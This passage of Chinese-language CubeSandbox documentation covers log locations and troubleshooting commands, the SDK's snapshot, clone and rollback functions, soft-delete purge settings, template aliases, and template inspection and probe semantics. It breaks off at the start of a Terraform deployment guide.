`/data/log/Cubelet/Cubelet-req.log`。 ::: ### cube-proxy 宿主机日志 `cube-proxy` 是基于 OpenResty 的 nginx 容器。一键部署会将宿主机目录 `/data/log/cube-proxy/` bind mount 到容器内同一路径，容器重启后日志仍然保留，可以直接从宿主机读取： ```bash sudo tail -200 /data/log/cube-proxy/error.log sudo tail -200 /data/log/cube-proxy/access.log ``` 容器内仍使用同一个 `/data/log/cube-proxy/` 路径，不需要重新构建镜像。 ### 一键打包诊断信息 如果要拿一整套日志去问社区或提 issue，用内置的诊断收集脚本： ```bash sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh ``` 它会把以下内容统一收集到 `cube-diag-<时间戳>/` 目录下： * `/data/log/CubeMaster|Cubelet|CubeAPI|CubeShim|CubeVmm/` 的 tail * `/data/log/cube-proxy/` 下的 access/error 日志 * `dmesg` / 进程列表 / 端口 / 挂载 / cgroup / cpuinfo 等环境快照 * 主要配置文件（敏感信息已脱敏） 打包后整体上传： ```bash tar czf cube-diag-<ts>.tar.gz cube-diag-<ts>/ ``` 支持选择性收集，例如只取 cubelet + dmesg： ```bash sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh \ --module cubelet --module dmesg --lines 500 ``` 完整选项见 `--help`。 ## 常用运维动作速查 | 我想干什么 | 命令 | |---|---| | 列出当前角色全部 cube 服务 | `systemctl --no-legend list-units 'cube-sandbox-*'` | | 查看某个服务状态 | `systemctl status cube-sandbox-<service>.service` | | 查看某个 target 的依赖图 | `systemctl list-dependencies cube-sandbox-control.target` | | 启动 / 停止 / 重启单个服务 | `systemctl {start\|stop\|restart} cube-sandbox-<service>.service` | | 启动 / 停止 / 重启整组 | `systemctl {start\|stop\|restart} cube-sandbox-{control,compute}.target` | | 看启动失败原因 | `journalctl -u cube-sandbox-<service>.service -n 200 --no-pager` | | 实时跟踪启动期日志 | `journalctl -u cube-sandbox-<service>.service -f` | | 重置 failed 计数 | `systemctl reset-failed cube-sandbox-<service>.service` | | 跑一轮健康检查 | `sudo /root/cube-sandbox-one-click-*/smoke.sh`或 `sudo /usr/local/services/cubetoolbox/scripts/one-click/quickcheck.sh` | | 完整下线 | `sudo /root/cube-sandbox-one-click-*/down.sh` | | 收集诊断包 | `sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh` | ## 典型故障排查路径 ### 沙箱创建失败 / 超时 按下面的顺序逐层排查： 1. **角色 target 是否 active** ```bash sudo systemctl status cube-sandbox-control.target ``` 2. **跑一轮健康检查** ```bash sudo /root/cube-sandbox-one-click-*/smoke.sh ``` 3. **CubeAPI 是否收到请求** ```bash sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log ``` 4. **CubeMaster 调度链路** ```bash sudo tail -F /data/log/CubeMaster/cubemaster-req.log ``` 5. **节点（Cubelet）是否在线、是否收到调度** ```bash curl http://127.0.0.1:3010/internal/v1/nodes sudo tail -F /data/log/Cubelet/Cubelet-req.log ``` 6. **VMM 启动是否报错** ```bash sudo tail -200 /data/log/CubeVmm/vmm.log ``` ### 服务一直 `activating (start-post)` 起不来 ```bash sudo systemctl status cube-sandbox-<service>.service sudo journalctl -u cube-sandbox-<service>.service -n 200 --no-pager ``` 常见根因： * 容器镜像构建依赖外网（如 `cube-proxy` 的 `apk update`）暂时不可达 → 检查网络，或参阅[部署相关排障](./troubleshooting/deployment.md) * `ExecStartPost` 健康端口超时（端口被占用 / 上游服务还没起来） * 对 `cube-sandbox-cube-proxy.service`，`CUBE_PROXY_HTTP_PORT` 与 `CUBE_PROXY_GRPC_PORT` 是 systemd 启动后 TCP 检查所关注的 nginx 监听端口。`CUBE_PROXY_HOST_PORT` 已废弃且会被忽略；如果需要改 HTTP 检查端口，请改 `CUBE_PROXY_HTTP_PORT`。 * `/data/log` 或 `/data/cubelet` 目录不存在 / 权限不对 / XFS 挂载错位 ### Dashboard / API 无法访问 ```bash # WebUI 容器是否在跑 sudo systemctl status cube-sandbox-webui.service sudo ss -lntp 'sport = :12088' # CubeAPI 是否在监听 sudo systemctl status cube-sandbox-cube-api.service sudo ss -lntp 'sport = :3000' ``` ## 附录 ### 重要路径速查 | 用途 | 路径 | |---|---| | 安装目录 | `/usr/local/services/cubetoolbox/` | | 运行期环境文件 | `/usr/local/services/cubetoolbox/.one-click.env` | | systemd unit 安装位置 | `/etc/systemd/system/cube-sandbox-*` | | systemd helper 脚本 | `/usr/local/services/cubetoolbox/scripts/systemd/*.sh` | | **业务日志（核心入口）** | **`/data/log/<Module>/`** | | Cubelet 容器层存储（XFS） | `/data/cubelet/` | | 沙箱镜像 / 快照 | `/data/cube-shim/disks/`、`/data/snapshot_pack/disks/` | | systemd PID 文件 | `/run/cube-sandbox-systemd/` | ### 角色与服务对照 | 服务 | `control` 节点 | `compute` 节点 | |---|:-:|:-:| | `mysql` / `redis` | ✅ | — | | `cubemaster` | ✅ | — | | `cube-api` | ✅ | — | | `webui` | ✅ | — | | `cube-proxy` / `coredns` / `dns` | ✅ | — | | `cubelet` | ✅ | ✅ | ### 相关文档 * [快速开始](./quickstart.md) — 安装入口 * [多机集群部署](./multi-node-deploy.md) — 计算节点的服务子集 * [CubeMaster 调度器配置参考](./cubemaster-scheduler-config.md) — 节点选择、quota、label、评分和 template redo * [部署相关排障](./troubleshooting/deployment.md) — XFS / 网段冲突等环境问题 * [模板相关排障](./troubleshooting/templates.md) — 模板创建相关问题 --- --- url: https://cubesandbox.com/zh/guide/snapshot-rollback-clone.md --- # 快照、回滚与克隆 本文介绍 Cube Sandbox Python SDK 提供的三组进阶接口： * **快照（Snapshot）**：把一个运行中的沙箱的完整状态（内存 + 文件系统）持久化为一份镜像，后续可以反复用来创建新沙箱或执行回滚。 * **克隆（Clone）**：对一个正在运行的沙箱调用 `clone()`，可以立即派生出 N 个完全独立的副本，每个副本都从源沙箱的当前状态出发，互不干扰。 * **回滚（Rollback）**：把一个正在运行的沙箱原地恢复到先前某次快照的状态，沙箱 ID 不变，可以继续执行。 ## 概念模型 ```mermaid flowchart LR A[源沙箱<br/>running] -->|create_snapshot| S[(快照<br/>snap-xxx)] A -->|clone n=N| C1[克隆 1] A -->|clone n=N| C2[克隆 2] A -->|clone n=N| Cn[克隆 N] A -.->|rollback snap-xxx| A2[源沙箱<br/>恢复到快照状态] classDef src fill:#e8f4fd,stroke:#3b82f6,stroke-width:2px; classDef snap fill:#fef3c7,stroke:#f59e0b,stroke-width:2px; classDef clone fill:#d1fae5,stroke:#10b981,stroke-width:1px; class A,A2 src; class S snap; class C1,C2,Cn clone; ``` | 接口 | 作用对象 | 沙箱 ID | 典型用途 | |------|---------|--------|---------| | `sb.create_snapshot()` | 源沙箱本身 | 不变 | 制作 checkpoint 或持久化状态 | | `sb.clone(n=N)` | 从运行中的沙箱派生 N 个新沙箱 | 新建 N 个 | Agent 并行 rollout、可重复实验 | | `sb.rollback(snap_id)` | 把当前沙箱原地恢复到快照状态 | **不变** | 撤回失败一步、回到分支点继续 | ## 安装 > **注意**：快照、克隆、回滚是 Cube Sandbox 特有的能力，e2b SDK 没有对应接口。[`cubesandbox`](https://pypi.org/project/cubesandbox/) SDK 兼容 e2b SDK，可以直接替换使用，同时获得以下进阶能力。 本文所有接口需要 [`cubesandbox`](https://pypi.org/project/cubesandbox/) **0.2.0 或更高版本**。 ```bash pip install "cubesandbox>=0.2.0" ``` 环境变量约定： ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=tpl-xxxxxxxxxxxxxxxxxxxxxxxx ``` ## 快照（Snapshot） `sb.create_snapshot()` 将沙箱的当前状态（文件系统 + 内存）持久化为一份快照，返回 `SnapshotInfo`，其中 `snapshot_id` 可以作为 `Sandbox.create(template=...)` 的入参。 ```python from cubesandbox import Sandbox with Sandbox.create(template=TEMPLATE_ID) as sb: sb.run_code("open('/tmp/data.txt','w').write('hello')") snap = sb.create_snapshot() print(f"snapshot: {snap.snapshot_id}") ``` 快照的生命周期独立于沙箱：源沙箱被 `kill()` 之后，快照仍然可用。不再需要时，调用 `Sandbox.delete_snapshot(snapshot_id)` 手动清理。 ### 列举快照 ```python # 获取快照列表（第一页） items, next_token = Sandbox.list_snapshots() # 按 sandbox_id 过滤 items, _ = Sandbox.list_snapshots(sandbox_id=sb.sandbox_id) ``` `list_snapshots()` 返回 `(list[SnapshotInfo], next_token)`，将 `next_token` 传回可获取后续页；为 `None` 时表示没有更多页。 ## 克隆（Clone） 对一个正在运行的沙箱调用 `sb.clone(n=N)`，可以立即派生出 N 个独立副本。每个副本都完整继承源沙箱在 clone 时刻的运行状态（内存 + 文件系统），但之后的写入互不影响，源沙箱也继续正常运行。 ```python src = Sandbox.create(template=TEMPLATE_ID) src.run_code("open('/tmp/shared.txt','w').write('hello')") clones = src.clone(n=3) for sb in clones: # Each clone inherits the file written in src out = sb.run_code("print(open('/tmp/shared.txt').read())").logs.stdout[0] assert out.strip() == "hello" ``` ### 并发克隆 默认串行创建，对于 fan-out 场景可以传 `concurrency=C` 并发执行： ```python clones = src.clone(n=10, concurrency=5) ``` * 任一子任务失败时，已成功创建的克隆会被自动 `kill()`，调用方拿到的要么是 N 个沙箱，要么是异常，不会留下孤儿资源。 ### 继承性与隔离性 `clone()` 返回的副本满足以下性质： | 性质 | 含义 | |------|------| | **继承性** | 每个副本的初始状态与源沙箱在 clone 时刻完全一致 | | **隔离性** | 副本之间的写入互不可见，与源沙箱也互相隔离 | | **连续性** | 源沙箱在 `clone()` 返回后仍在运行，状态不受影响 | ## 回滚（Rollback） `sb.rollback(snapshot_id)` 把当前沙箱**原地**恢复到指定快照的状态：文件系统完全还原，**沙箱 ID 不变**，`sb` 对象可以继续使用。 ```python sb = Sandbox.create(template=TEMPLATE_ID) sb.run_code("open('/tmp/v.txt','w').write('v1')") checkpoint = sb.create_snapshot() sb.run_code("open('/tmp/v.txt','w').write('v2')") sb.rollback(checkpoint.snapshot_id) after = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout[0] assert after.strip() == "v1" ``` 回滚后沙箱仍然可写，可以继续执行并再次创建快照，非常适合 Agent 的回退-重试循环： ```python # Continue on the rolled-back branch sb.run_code("open('/tmp/v.txt','w').write('v3')") new_snap = sb.create_snapshot() with Sandbox.create(template=new_snap.snapshot_id) as forked: out = forked.run_code("print(open('/tmp/v.txt').read())").logs.stdout[0] assert out.strip() == "v3" ``` ## 最佳实践 * **快照不是免费的**。每个快照对应底层的一份完整镜像，记得用完即删，或定期调用 `list_snapshots()` 清理。 * **`with` 语句不会自动删快照**。上下文管理器只负责 `kill` 沙箱，快照需要显式调用 `Sandbox.delete_snapshot()` 清理。 * **`clone()` 会自动清理内部快照**。临时派生几个副本时直接用 `clone()`，无需手动管理快照生命周期。 * **大批量并发派生**优先用 `clone(n=N, concurrency=C)`，SDK 内部统一处理失败回滚，不会留下孤儿资源。 ## 参考 * [跨机快照](./cross-node-snapshot.md) —— S3 后端、`remote_status=ready`，以及 Resume / FromSnap 落到其他节点的调度规则 * 示例代码：[`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone) * SDK 源码：[`sdk/python/`](https://github.com/TencentCloud/CubeSandbox/tree/master/sdk/python) --- --- url: https://cubesandbox.com/zh/guide/soft-delete-purge.md --- # 软删除墓碑定时清理 CubeSandbox 在很多表上使用 GORM 的*软删除*：删除一行时只是把它的 `deleted_at` 列置位，GORM 随后在普通查询里把它隐藏起来。此前没有任何机制回收这些“墓碑”行，于是表会无限增长，过期的墓碑还会一直占用**唯一键**（即软删除 + 唯一键陷阱）。墓碑清理器（tombstone purger）就是解决这个问题的定时“看门人”。 ## 它做什么 一个共享包 `pkgs/cubedb/tombstone` 同时运行在共享数据库的**两个**二进制里： * **CubeMaster** —— 清理 `t_cube_*` 软删除表。 * **CubeOps** —— 清理 `t_agenthub_*` 软删除表。 每个组件在启动时注册清理器。它按固定间隔获取一个集群级咨询锁（保证每个 tick 内只有一个 HA 副本干活），然后对每张配置的表，硬删除 `deleted_at` 早于保留窗口的行。单次 pass 是**有上限的**（`max_per_pass`），所以大的积压会分摊到很多个 tick 里慢慢清，而不是一次长事务把锁占满。硬删除是跨方言的（由当前 dialector 负责标识符引用），并且**对复活竞态安全**——`DELETE` 会重新校验墓碑谓词，因此应用层 UPSERT 复活（`deleted_at = NULL`）的行在 select 与 delete 之间不会被硬删。 ## 配置 两个组件都暴露一个 `soft_delete_purge` 配置块。所有字段都是可选的；默认值是安全的，且特性**默认关闭**（需显式开启）：清理不可逆，请显式设置 `enable: true`。 ```yaml soft_delete_purge: enable: false # 默认关闭：清理不可逆，需显式开启 dry_run: false # 只 select 并打印计数，不真正 DELETE（用于安全的首轮观察） retention: 168h # deleted_at 早于 now-retention 的行会被清理。 # <=0 -> 7 天默认值；(0, 1h) 之间的值会上调到 1h。 interval: 1h # 两次 pass 之间的间隔。 # <=0 -> 1h 默认值；(0, 1m) 之间的值会上调到 1m。 ``` `max_per_pass`（5000）和批次大小 batch size（500）是包级常量，不可配置。 ## 覆盖的表 只有那些*确实会被软删除、且没有专属回收机制*的表才会被清理。这份分类是逐个核对每个 `.Delete()` 调用点得出的。 **CubeMaster**（始终）：`t_cube_sandbox_spec`、`t_cube_template_replica`。 **CubeMaster**（仅默认情况——见下方优先级）：`t_cube_instance_info`、`t_cube_instance_userdata`。 **CubeOps**：`t_agenthub_instance`、`t_agenthub_snapshot`、`t_agenthub_template`。 **排除**（有专属生命周期 / 不是软删除）： * `t_cube_rootfs_artifact`、`t_cube_artifact_node_placement` —— 有“复活”逻辑 + 专属的 `artifact_gc`。 * `t_cube_snapshot_runtime_ref` —— append-only 历史表；`deleted_at` 从不写入（它的增长是另一个独立问题）。 * 仅硬删的表（`t_cube_template_definition`、`t_cube_template_image_job`、`t_cube_volume` 等）。 迁移 `20260731120000` 会给每个缺少前导 `deleted_at` 索引的清理目标表补上该索引，使 `deleted_at < cutoff` 的扫描走索引。 ## 优先级：`disable_hard_delete` 与 `soft_delete_purge` `common.disable_hard_delete`（CubeMaster）存在的目的是让运维可以**保留**实例记录用于审计/恢复：置位后，`t_cube_instance_info` 改为软删而非硬删（`t_cube_instance_userdata` 本就总是软删）。 **对于实例记录，`disable_hard_delete` 优先于 `soft_delete_purge`。** 当 `disable_hard_delete: true` 时，`t_cube_instance_info` 与 `t_cube_instance_userdata` **豁免清理**——否则清理器会硬删掉运维明确要求保留的记录。清理表清单由 `cubeMasterPurgeTables(disableHardDelete)` 依此构建。 | `disable_hard_delete` | `soft_delete_purge` | 实例记录 | |---|---|---| | `false`（默认） | 开 | `userdata` 被清理（本就软删）；`instance_info` 在删除路径硬删（不产生墓碑） | | `false` | 关 | `userdata` 墓碑累积（不清理） | | `true` | 开 | **保留** —— 实例表豁免清理 | | `true` | 关 | 保留 —— 反正不清理 | CubeMaster 的其他表（`sandbox_spec`、`template_replica`）始终被清理；它们不是实例记录，没有“保留”语义。 ## 运维注意事项 * **默认关闭。** 清理不可逆，需显式开启（`soft_delete_purge.enable: true`）；升级不应静默硬删此前一直保留的墓碑。开启后首次 pass 会按 `max_per_pass` 分批回收已积压的墓碑。 * **先 dry-run。** 面对大的历史积压，可先把 `dry_run: true` 设一个间隔，观察“将要清理”的计数，再开启真正删除。 * **带外 DDL。** 设置了 `CUBE_AUTO_MIGRATION=false` 的部署，必须带外应用迁移 `20260731120000` 中的 `deleted_at` 索引；否则清理会是全表扫描。 * **PostgreSQL。** 迁移中的普通 `CREATE INDEX` 在构建每个索引期间会持有 ACCESS EXCLUSIVE 锁（阻塞写入）——对当前以 PG 为非主力的较小部署可接受；较大的 PostgreSQL 部署请在低峰期或维护窗口执行迁移。此外，一次大规模回收 pass 之后，相关表会出现短暂的 autovacuum 高峰（大规模 `DELETE` 的正常现象）。 --- --- url: https://cubesandbox.com/zh/guide/template-aliases.md --- # 模板别名 模板别名是 CubeSandbox 模板稳定且易读的名称。应用配置无需保存 `tpl-01abc...` 这样的生成 ID，可以改用 `python-runtime`： ```python from cubesandbox import Sandbox with Sandbox.create(template="python-runtime") as sandbox: print(sandbox.commands.run("python3 --version").stdout) ``` 模板重新构建或替换后，应用仍可使用固定别名，由运维人员将别名切换到新模板。 ## 命名规则与行为 模板别名必须满足以下规则： * 只能包含小写字母、数字和连字符； * 必须以字母或数字开头； * 长度为 1 到 64 个字符； * 不能使用保留的 `tpl-` 或 `snap-` 前缀； * 同一时间只能属于一个 READY 模板； * 不能分配给快照。 `python`、`python-3-12` 和 `app-v2` 都是有效别名；`MyApp`、`my_app`、`-my-app` 和 `tpl-custom` 无效。 每个模板最多拥有一个别名。如果把已有别名分配给另一个模板，别名会转移到目标模板，并从原模板清除。应将其视为一次部署变更：已经运行的沙箱不受影响，后续通过该别名执行的操作会解析到新模板。 ## 创建模板时设置别名 从 OCI 镜像创建模板时传入 `--alias`： ```bash cubemastercli tpl create-from-image \ --image ghcr.io/example/python-runtime:3.12 \ --alias python-runtime \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` 模板 ID 仍由服务端生成。模板达到 `READY` 并成功取得别名后，该别名才可使用。 通过 CubeAPI 兼容的 SDK 构建模板时，E2B 风格的 `name` 字段会作为稳定别名： ```python from cubesandbox import Template job = Template.build( image="ghcr.io/example/python-runtime:3.12", name="python-runtime", writable_layer_size="2G", exposed_ports=[49983], probe_port=49983, probe_path="/health", ) print(job.template_id) ``` ## 设置、修改或清除别名 为已有的 READY 模板设置或修改别名： ```bash cubemastercli tpl set-alias tpl-01abc --alias python-runtime ``` 第一个参数既可以是生成的模板 ID，也可以是模板当前的别名： ```bash cubemastercli tpl set-alias python-runtime --alias python-runtime-v2 ``` 清除别名： ```bash cubemastercli tpl set-alias tpl-01abc --clear ``` 各语言 SDK 提供相同操作： ::: code-group ```python [Python] from cubesandbox import Template Template.set_alias("tpl-01abc", "python-runtime") Template.set_alias("tpl-01abc", None) # 清除 ``` ```go [Go] info, err := client.SetTemplateAlias(ctx, "tpl-01abc", "python-runtime") if err != nil { panic(err) } _, err = client.SetTemplateAlias(ctx, info.TemplateID, "") // 清除 ``` ```ts [Node.js] import { Template } from "@cubesandbox/sdk"; await Template.setAlias("tpl-01abc", "python-runtime"); await Template.setAlias("tpl-01abc", null); // 清除 ``` ::: ## 使用和查询别名 任何接受模板标识符的位置都可以传入别名，包括创建沙箱： ::: code-group ```python [Python] sandbox = Sandbox.create(template="python-runtime") ``` ```go [Go] sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{ TemplateID: "python-runtime", }) ``` ```ts [Node.js] const sandbox = await Sandbox.create({ template: "python-runtime" }); ``` ::: 模板列表和详情响应会在 `aliases` 数组中返回已配置的别名。也可以直接通过 CubeAPI 解析别名： ```bash curl http://<cubeapi-host>:3000/templates/aliases/python-runtime ``` 响应示例： ```json { "templateID": "tpl-01abc", "public": false } ``` ## 安全发布流程 建议按以下步骤更新生产模板： 1. 构建新模板，暂时不修改生产环境使用的别名。 2. 等待新模板达到 `READY`，并通过生成的模板 ID 完成验证。 3. 将生产别名分配给新模板。 4. 使用别名创建测试沙箱，确认别名解析符合预期。 5. 根据回滚策略保留或删除旧模板。 修改别名不会改变或重启已经存在的沙箱。 --- --- url: https://cubesandbox.com/zh/guide/template-inspection-and-preview.md --- # 模板检查与请求预览 当你手里只有一个 `template_id`，通常最关心的是这几件事： * 这个模板现在是不是可用状态，哪些节点上已经有副本？ * 模板本身保存的请求体到底是什么？ * 如果我现在拿它创建沙箱，最终会生效什么请求？ 这页文档对应的就是 `cubemastercli tpl info` 和 `cubemastercli tpl render` 两条命令。 ## 先选对命令 | 你想确认什么 | 用哪条命令 | |--------------|------------| | 模板状态、副本、版本、错误信息 | `tpl info` | | 模板里保存的请求体 | `tpl info --include-request` | | 模板合并后最终会生效的创建请求 | `tpl render` | | CubeMaster 最终转换给 Cubelet 的请求结构 | `tpl render` | 可以这样记： * 想先看模板本身，用 `tpl info` * 想看“现在创建会传什么”，用 `tpl render` ## 先看模板本身 查看基础信息： ```bash cubemastercli tpl info <template-id> ``` 模板 ID 既可以用位置参数传入（与 docker/kubectl 风格一致），也可以继续使用 `--template-id`，两种写法等价。 查看原始 JSON： ```bash cubemastercli tpl info <template-id> --json ``` 把模板里保存的请求体一并带出来： ```bash cubemastercli tpl info <template-id> --json --include-request ``` 典型返回结构如下： ```json { "template_id": "tpl-xxx", "instance_type": "cubebox", "status": "READY", "replicas": [ { "node_id": "node-a", "status": "READY" } ], "create_request": { "containers": [], "volumes": [], "annotations": { "cube.master.appsnapshot.template.id": "tpl-xxx" } } } ``` 其中 `create_request` 可以这样理解： * 它是模板定义里保存下来的请求体。 * 它适合回答“这个模板最初是基于什么请求构建或提交出来的”。 * 它不是未来每次创建沙箱都会直接使用的最终请求，因为后续用户输入还可能继续叠加合并。 ## 再看最终会生效的请求 只用模板做预览： ```bash cubemastercli tpl render --template-id <template-id> --json ``` 如果你已经有自己的请求覆盖项，可以带上请求文件一起预览： ```bash cubemastercli tpl render -f req.json --template-id <template-id> --json ``` `tpl render` 支持从请求文件读取输入；如果你同时传了 `--template-id`，命令行参数会覆盖文件里的模板注解。 典型返回结构如下： ```json { "api_request": { "annotations": { "cube.master.appsnapshot.template.id": "tpl-xxx", "cube.master.appsnapshot.template.version": "v2" } }, "merged_request": { "containers": [ { "name": "main" } ], "volumes": [ { "name": "workspace" } ], "network_type": "tap" }, "cubelet_request": { "containers": [ { "name": "main" } ], "volumes": [ { "name": "workspace" } ] } } ``` ## 这三层分别看什么 `tpl render` 会返回三层视图： * `api_request`：CubeMaster 收到并解析后的请求，还没做模板解析和合并。 * `merged_request`：模板解析和请求合并完成后的结果。对大多数用户来说，这一层最值得看。 * `cubelet_request`：CubeMaster 基于合并结果生成的、最终发给 Cubelet 的请求结构。 如果你时间有限，优先看 `merged_request`。 ## 一个最实用的排查顺序 如果你想弄清楚“拿这个模板创建沙箱时到底会传什么”，建议按下面顺序看： 1. 先看模板状态和副本。 ```bash cubemastercli tpl info <template-id> ``` 2. 如果你想确认模板本身存了什么，再看 `create_request`。 ```bash cubemastercli tpl info <template-id> --json --include-request ``` 3. 再看当前真正会生效的请求预览。 ```bash cubemastercli tpl render --template-id <template-id> --json ``` 4. 如果你的业务还会追加 labels、annotations、网络配置或其他参数，把这些内容写进 `req.json`，再跑一次预览。 ```bash cubemastercli tpl render -f req.json --template-id <template-id> --json ``` ## 这页不能替你确认什么 预览很有用，但它也有明确边界： * 它不能告诉你最终会调度到哪台节点，调度仍然是运行时决策。 * 它不能保证某个节点在真实运行时一定会接受这个请求。 * 它展示的是请求内容，不等于沙箱实际启动后的最终运行结果。 --- --- url: https://cubesandbox.com/zh/guide/templates.md --- # 模板概览 (Templates) 模板是 CubeSandbox 创建沙箱时使用的可复用运行环境。它不仅包含来自 OCI 镜像的根文件系统，还包含沙箱启动所需的配置和预热后的 MicroVM 快照。基于同一个模板可以反复创建相互隔离、环境一致的沙箱，并通过恢复快照缩短启动时间。 ## 核心概念 ### OCI 镜像 OCI（Open Container Initiative）定义了容器镜像的开放标准。日常使用的 Docker 镜像通常就是 OCI 镜像：它由一组只读文件系统层和镜像配置组成，记录了操作系统文件、应用及依赖，以及 `ENTRYPOINT`、`CMD`、环境变量等启动信息。镜像一般以 `仓库/名称:标签` 引用，例如 `docker.io/library/python:3.11`，也可以用 digest 锁定具体内容。 CubeSandbox 不会把 OCI 镜像直接当作沙箱运行。它会拉取并展开镜像，将其转换为适合 MicroVM 使用的 rootfs，按镜像中的启动配置运行服务，然后生成可快速恢复的模板快照。因此，OCI 镜像是模板的输入，模板才是创建沙箱时使用的产物。 ### 什么时候制作模板快照 CubeSandbox 拉取 OCI 镜像后，会用它启动一个临时 MicroVM。镜像中的入口程序、系统服务和应用会像正常启动沙箱一样运行。Cube 不会在进程刚启动时立刻制作模板，而是**等待指定的 HTTP 探针返回 2xx**；这个响应表示环境已经到达适合保存的时刻。随后 Cube 冻结此时的文件系统和内存状态并生成模板快照。 选择探针，本质上是在定义“什么时候算启动完成”。探针返回得太早，快照可能生成在应用仍在初始化或依赖尚未预热时；探针始终不成功，模板构建则会超时。理想的探针端点应在模板中需要预热的服务都准备完成后才返回 2xx。 ### 用端口和探针定义就绪时机 Cube 平台在制作模板时，会启动容器并通过 HTTP 探测容器是否已就绪。因此： 1. 你的容器镜像**必须**在某个固定端口上启动一个 HTTP 服务器，并提供返回 2xx 的就绪端点；它可以来自 `envd`，也可以来自你的应用。 2. 创建模板时**必须**指定以下参数： * `--expose-port <port>` — 声明 HTTP 服务监听的端口 * `--probe <port>` — 告诉 Cube 要探测哪个端口 * `--probe-path <path>` — Cube 将 `GET` 的 HTTP 路径（如 `/` 或 `/health`） 3. 被选择的探针端点应在**需要预热的服务完全准备好之后**才返回 HTTP 2xx。Cube 会以此为信号制作快照；如果探测的是 `envd`，该信号只表示 `envd` 本身已经就绪。 一次模板构建选择一个探针端口和路径，Cube 会持续请求 `http://<sandbox>:<probe-port><probe-path>`，直到收到 HTTP 2xx 响应后制作快照。 `envd` 是预装在 CubeSandbox 基础镜像中的一个后台服务：沙箱创建后，SDK 的“执行命令”“读写文件”和“打开终端”等操作，实际都会请求沙箱内的 `envd`。`envd` 默认监听 `49983`，其 `/health` 接口会在 `envd` 可以接收这些请求时返回 204。 下面的参数配置是一个最常见的例子，表示开放 `envd` 的 49983 端口，监听探测 49983 端口，并在 `/health` 返回成功后制作模板快照： ```bash --expose-port 49983 --probe 49983 --probe-path /health ``` 但 `envd` 就绪只代表 SDK 数据面已经就绪，不一定代表业务应用也已完成启动。如果模板需要预热 Web 应用、Jupyter 等其他服务，应把探针指向能够反映该应用就绪状态的端口和路径，详见[预热模板服务](./tutorials/prewarm-template-service.md)。 > `envd` 不是制作模板的必需组件。只提供自有 Web 服务且不使用命令、文件或终端等 SDK 能力的镜像，可以不安装 `envd`，直接探测应用自己的健康检查端点。需要这些 SDK 能力时，则应使用包含 `envd` 的基础镜像，或在构建模板时注入 `envd`。具体接入方式见[自定义模板镜像](./tutorials/bring-your-own-image.md)。 ### 沙箱就绪语义 被探测的端口同时也是沙箱的就绪契约：由于模板只有在探针返回 HTTP 2xx 后才会被标记为就绪，因此由该模板创建的**运行中**沙箱，其被探测端口在创建返回时即可提供服务。客户端无需在 `create` 创建沙箱后额外等待或重试；通过 resume / 自动恢复重新运行起来的沙箱同样适用。 有两点需要注意： * **该保证只覆盖被探测的端口。** 仅用 `--expose-port` 暴露而未被探测的端口，其上的服务在沙箱开始接收流量时可能仍在启动中；如果需要同样的就绪保证，请改为探测该端口。 * **服务自身必须健康。** 该保证针对的是平台侧的端口可达性——运行中的沙箱里若服务崩溃或停止监听，在其恢复之前仍然不可访问。 ## 如何制作模板 CubeSandbox 支持两种制作方式： * **从 OCI 镜像制作**：准备包含系统、工具和应用依赖的 OCI 镜像，再由 CubeSandbox 将其转换为模板。这是创建可复现模板的常用方式，详见[从 OCI 镜像制作模板](./tutorials/template-from-image.md)。 * **从运行中的沙箱制作**：先在沙箱内安装软件或调整环境，再将其当前文件系统和内存状态提交为新模板。适合交互式调试和快速固化环境，详见[将运行中的沙箱提交为模板](./tutorials/template-from-sandbox.md)。 无论采用哪种方式，模板制作过程都可以概括为：准备根文件系统，启动 MicroVM 并等待环境就绪，生成快照，最后注册并发布模板。模板就绪后，CubeSandbox 可以用它快速创建新的沙箱；如果是历史模板或旧部署中仍保存在 CubeMaster 本地盘上的 artifact，也可以后续再用 `cubemastercli tpl merge <template-id>` 把该 rootfs 迁入 TC 管理的 artifact 存储。对**存量镜像对应的历史模板**，文档口径应统一为：**`tpl merge` 解决历史 artifact 的存储收敛问题，`tpl redo` 解决节点侧重新分发 / 必要时重建问题。** 典型场景是后续开启 `s3Backed=true`，需要将历史 artifact 从本地盘迁移到 **S3 托管存储**；若同一次运维还需要重新覆盖节点，则在 `merge` 完成后再执行 `redo`。 ## 模板与镜像的关系 OCI 镜像是制作模板的一种输入，而不是可直接启动的 CubeSandbox 模板。两者的主要区别如下： | | OCI 镜像 | CubeSandbox 模板 | | --- | --- | --- | | 包含内容 | 根文件系统和容器元数据 | 根文件系统、MicroVM 快照及沙箱运行配置 | | 主要用途 | 分发和复现软件环境 | 快速创建 CubeSandbox 沙箱 | | 使用方式 | 需要先转换为模板 | 可以直接用于创建沙箱 | 因此，同一个 OCI 镜像可以根据 CPU、内存、网络、启动命令等配置制作出不同的模板；从运行中沙箱提交的模板，则会保留该沙箱提交时的文件系统和内存状态。 ## 下一步 * [从 OCI 镜像制作模板](./tutorials/template-from-image.md) — 完整的 CLI 指南，包括探针配置、进度监控和故障排查。 * [将运行中的沙箱提交为模板](./tutorials/template-from-sandbox.md) — 固化沙箱当前环境，并按需覆盖创建请求。 * [模板检查与请求预览](./template-inspection-and-preview.md) — 查看模板状态并预览最终生效的请求。 --- --- url: https://cubesandbox.com/zh/guide/tencentcloud-terraform-deploy.md --- # 腾讯云集群部署（Terraform） 本指南介绍如何使用发布包中自带的 Terraform 部署器，在腾讯云上一键拉起一个**集群版** Cube Sandbox：托管的 TKE 控制面运行 `cube-master` / `cube-api` / `cube-ops` / `cube-proxy` / `cube-lifecycle-manager` / `cube-webui`，后端使用云数据库 MySQL + Redis，并配备一个或多个 CVM PVM 计算节点。一台跳板机（SSH 端口为 `443`）作为构建主机和私有 VPC 的堡垒机。 ::: tip 网络加固 集群版的网络加固由**腾讯云安全组**完成：部署器按角色创建 **4 个独立安全组**（跳板机 / 计算节点 / TKE Pod / CLB），各自按最小权限放行（如对公网仅放行必要的入口，计算节点与 TKE 节点无任何公网入站），计算节点不分配公网 